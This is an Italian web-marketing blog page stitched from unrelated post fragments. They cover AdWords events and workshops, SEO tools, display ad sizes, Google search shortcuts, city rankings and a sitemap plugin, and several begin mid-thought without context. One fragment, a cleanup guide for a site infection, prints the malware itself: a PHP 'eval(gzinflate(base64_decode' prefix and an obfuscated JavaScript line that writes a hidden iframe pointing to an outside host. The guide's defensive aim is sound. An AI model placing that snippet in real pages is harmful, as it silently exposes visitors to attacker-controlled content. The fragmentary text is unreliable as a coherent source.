Tieni d’occhio il sito AdworldExperience.it, presto saranno caricare le slide di tutti i relatori e sarà disponibile il video di tutti gli speech.

Foto di Moreno Bonechi, fotografo ufficiale degli eventi web marketing

Venerdi 20 aprile si terrà a Bologna l’atteso ADworldExeperience, il primo evento in Italia dedicato interamente agli inserzionisti Google Adwords. Tra i relatori ci sarà Luigi Sciolti che condividerà i casi di successo nella gestione di campagne Pay per Click del centro clienti Adwords di Up Vision.

L’evento è rivolto a tutti coloro che vorrebbero ottimizzare le campagne pubblicitarie Adwords per ottenere un maggior ritorno dell’investimento. L’intera giornata prevede Case History e ampie sessioni di domande e risposte. Parteciperanno all’ ADworldExeperience 12 relatori, scelti tra i talenti del Search Marketing, che toccheranno vari aspetti di una campagna Adwords ottimizzata al meglio: annunci e landing page (Filippo toso), search e display (Fabio Sutto), targeting avanzati (Francesco Tinti), targeting progressivo (Gianpaolo Lorusso), lead generation (Francesco Gori) . Alcuni casi saranno presentati da Cesarino Morellato, Francesco Piersimoni, Deborah Del Cortona e altri ancora. La giornata terminerà con una tavola rotonda a cui parteciperanno alcuni dei maggiori operanti nel web marketing italiano (tra i quali Luca Bove, Alessandro Sportelli e Giorgio Taverniti).

Luigi non poteva mancare, gestisce per Up Vision Srl un centro clienti con più di 100 account attivi e un budget previsionale per il 2012 di circa 500 mila euro. Durante l’intervento presenterà la propria esperienza su campagne pubblicitarie Adwords di clienti che ottengono ottimi risultati nel medesimo settore, ma con una struttura d’implementazione differente e  budget diversi . Ma allora, esiste una configurazione ideale dell’account?

Per i partecipanti sarà un’occasione per rivedere e migliorare la propria strategia Pay per Click, condividere  esperienze e casi di successo, creare un tesoro comune tra relatori e partecipanti.

Segui l’evento su Twitter usando l’hashtag #adwexp

Sono in programma oltre 50 workshop su temi quali app, cloud computing, tablet, Web 2.0, marketing digitale, social media, business analytics, e-commerce e fatturazione elettronica. Tra i protagonisti dei momenti formativi ci sarà Luigi Sciolti che terrà uno speech sulla pubblicità con la rete Google dal titolo “Targeting intelligente per impressioni di valore con gli annunci illustrati”. L’obiettivo del workshop è dimostrare alle aziende del territorio come il web sia un potente mezzo di pubblicità per raggiungere il target ideale con i nuovi strumenti di Google Advertising. L’appuntamento è per Giovedì 16 alle ore 15.00 presso l’Arena Social Media nell’area Marketing Digitale & e-Commerce. Durante e dopo lo Speech ci sarà la possibilità di fare domande sull’Advertising online e sul Search Marketing.

• Per tutte le informazioni sul workshop e per segnalare la tua presenza >> Iscrizione Workshop (I posti sono limitati).
• Puoi scaricare l’invito alla Fiera SMAU business 2012 di Bari da qui >> Scarica l’invito

La novità di Smau Bari 2012 è Smart City, un’iniziativa dedicata allo sviluppo di città intelligenti per migliorare la qualità della vita urbana per mettere in evidenza le opportunità di sviluppo economico per le imprese del territorio generato da tali progetti. Le più innovative start up alla ricerca di possibili finanziatori e investitori, nell’ambito dei Percorsi dell’Innovazione, avranno l’opportunità di esporre gratuitamente i propri progetti.

Smau Business Bari sarà l’occasione per imprenditori, decisori aziendali, Piccole e Medie Imprese del sud Italia di focalizzare l’attenzione sull’innovazione tecnologica.

1. Metodologie e approcci differenti. In realtà nessuno ha spiegato metodologie, ma ho imparato guardando come i consulenti/docenti Enrico Altavilla, Piersante Paneghel e Cesarino Morellato approcciano un nuovo progetto. In una frase: non mi hanno dato dei pesci ma ho imparato a pescare.
2. A pormi nuove domande, ho scoperto cosa studiare di più; non è banale. Adesso occorre rimboccarsi le maniche.
3. Nuovi tool, soprattutto per l’analisi dei DNS.  Ho migliorato la conoscenza di alcuni strumenti (di Screaming Frog non conoscevo l’utilizzo dei filtri) e ho rivalutato l’utilizzo di altri, uno fra tutti webpagetest.org/compare, ahimè caduto nel dimenticatoio nonostante l’ottima impressione al tempo della sua scoperta.

Ecco gli strumenti che più abbiamo utilizzato:

• Xenu’s e Screaming Frog SEO. Il primo molto più conosciuto, il secondo è un mio vecchio pallino e mi sono ancor più convinto della sua utilità, grazie anche all’impostazione dei filtri come spiegato da Piersante.
• Majestic SEO, strumento di reportistica Backlink
• GtMetrix e webpagetest.org/compare, strumenti per l’analisi sulla velocità del sito
• Analisi dei DNS: Network-tools.com – Intodns.com – Pingdom.com – Robtex.com

Finite le considerazione sulla parta didattca e tecnica, mi sembra doveroso da parte mia ringraziare Up Vision per avermi dato l’opportunità di esserci. E poi, finalmente ho incontrato di persona Francesco de Francesco; l’ho conosciuto principalmente per la sua attività di cuoco (ma perché ‘sto link? ), ma ha esperienze e conoscenze invidiabili per ciò che riguarda il marketing online e offline.

Adesso è tempo di mettere in pratica e studiare le risposte ai miei nuovi interrogativi.

P.S. considerazione utopistica: avrei partecipato volentieri al SEOrock  per una settimana intera

Proprio per questo la piattaforma pubblicitaria di Google AdWords rappresenta una grande innovazione nell’ambito della pubblicità online.

Gli annunci illustrati di Google AdWords, sono pubblicati sui siti selezionati dalla Rete Display, possono essere immagini statiche o brevi animazioni, pubblicate nel posto giusto al momento giusto e per questo già differenti dai tradizionali annunci grafici online. Vengono inseriti tramite la rete di ricerca e la Rete Display in base ai contenuti dei siti web, permettendo una strategia d’attacco funzionale ad individuare automaticamente i potenziali clienti per allargare il mercato di riferimento o rafforzare quello già esistente.

Oggi con Google AdWords è semplice organizzare una campagna pubblicitaria online, grazie alla possibilità di testare gli annunci per comprenderne la reale efficacia, tracciare un ritorno degli investimenti, lavorare sulla qualità e ridurre i costi della campagna stessa.

Quali sono dunque, i reali vantaggi?

• scegli tu dove essere visibile
• spendi di meno rispetto alla pubblicità tradizionale
• aumenti la percezione dell’immagine aziendale
• utilizzi un servizio legale e sicuro
• catturi l’attenzione di un target di utenti realmente interessati

Gli annunci illustrati, proprio per il loro potenziale attrattivo, vengono sottoposti ad approvazione in relazione a determinati requisiti tecnici ed estetici che ciascuna immagine deve possedere: il tipo di file (.JPEG, .JPG, .PNG, .GIF, .SWF), la grandezza delle immagini ed il peso non superiore a 50KB.

Dimensioni degli annunci illustrati.

• Leaderboard per cellulari 300 x 50
• Banner 468 x 60
• Leaderboard 728 x 90
• Quadrato 250 x 250
• Quadrato piccolo 200 x 200
• Rettangolo grande 336 x 280
• Inline Rectangle 300 x 250
• Skyscraper 120 x 600
• Skyscraper largo 160 x 600

Per ulteriori informazioni puoi visionare la guida di norme pubblicitarie di Adwords

Viene inoltre verificato che le immagini non contengano sfondi lampeggianti, simulazioni di articoli o di finestre di dialogo di sistema che possano trarre in inganno l’utente.

Il tutto per permettere una campagna pubblicitaria trasparente e positiva, certamente frutto di un successo monitorato e guidato, al quale oggi ormai in molti si affidano.

Inoltre, Google potrebbe inserire in SERP, prima dello snippet, “Questo sito potrebbe arrecare danni al tuo computer”.

Se controllate i file .js scoprite subito il mistero, in quanto troverete nuovi file .js rinominati js.php. Nella maggior parte dei casi il problema si risolve ripristinando i file .js. Quindi, rimuovi tutti i file .js.php: puoi individuare i file malevoli dalla dimensione che risulta essere sempre uguale ( 25.354 kb),  iniziano tutti con questo codice <?php eval(gzinflate(base64_decode.

Alla fine fine dei file js originali troverete un codice criptato che deve essere eliminato:
if (undefined === window.dbaaccddcbe) document.write(String.
fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101
,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,6
1,34,49,48,34,32,104,101,105,103,104,116,61,34,49,48,34,32,1
15,114,99,61,34,104,116,116,112,58,47,47,98,114,117,110,110,
111,46,105,110,47,115,104,111,119,116,104,114,101,97,100,46,
112,104,112,63,116,61,51,55,50,50,48,51,51,56,34,62,60,47,10
5,102,114,97,109,101,62));

Un consiglio, per individuare i file modificati dal malware controllate la data dell’ultima modifica dei file javascript, sicuramente la modifica sarà recente.

Ecco i comandi da testiera per scorrere i risultati di ricerca:

• j or DOWN Seleziona l’elemento successivo
• k or UP Seleziona l’elemento precedente
• l or RIGHT Passa alla categoria successiva (da risultati organici a link sponsorizzati per esempio)
• h or LEFT Passa alla categoria precedente/li>
• Invio Apre il risultato selezionato
• / Mette il cursore nella casella di ricerca
• n Sposta al risultato successivo, e recupera altri risultati, se necessario.
• p Sposta al risultato precedente, ricaricare risultati precedenti, se necessario
• = Ingrandisce elemento corrente
• - Restringe elemento corrente
• A Attiva Accesible View
• W Ritorna sui normali risultati di ricerca

Per ora l’esperimento è attivo solo su Google.com e se utilizzi il browser Firefox puoi richiedere di far parte al test: apri la pagina di Google Experimental Search e clicca su Join This Experiment nella sezione Accessible View.

Ecco la Top Ten delle città vincitrici e la percentuale di crescita nel numero di Piccole Medie Imprese:

• Salerno + 62.3%
• Torino + 60.5%
• Vicenza + 47.4%
• Catania + 44.7%
• Lecce + 44.6%
• Bari + 43.3%
• Cagliari + 42 %
• Palermo + 41.1%
• Perugia + 39.7%
• Bolzano + 36.1%

Attenzione però, la classifica non premia le città con il maggior numero di PMI che utilizzano le campagne Pay Per Click per promuoversi, ma come già detto, le città che hanno fatto registrare un aumento in termini percentuali rispetto al passato.

Quale significato ha per Lecce il riconoscimento Google eTowns Award?
C’è sempre maggiore interesse per il Search Marketing e tutte le strategie legate a Internet, questo premio è la tangibilità che finalmente il territorio è propenso all’innovazione tecnologica e a un miglioramento del modello economico. Internet ormai non è più una lungimiranza per le aziende che vogliono cercare nuovi spazi di mercato, bensì un fatto reale.

La struttura del sito non ci permetteva di distribuire maggiore importanza a 3 specifici articoli in quanto lontani 2 click dalla home page.
Grazie alla versione 1.0 del plugin “Karailiev’s sitemap” siamo riusciti a risolvere la questione. Cancellato “Google XML Sitemaps” abbiamo installato “Karailiev’s sitemap” il quale ci permette di dare una priorità personalizzata a pagine ed articoli.
Altre caratteristiche importanti del plugin:

• Esclusione di pagine o post
• Inclusione degli allegati
• Opzione aggiornamento ogni nuovo commento

La Sitemap è spesso sottovalutata, ma se utilizziamo correttamente  l’attributo sitemap priority al fine di un migliore posizionamento in SERP, possiamo indicare al motore di ricerca quali pagine sono per noi più importanti.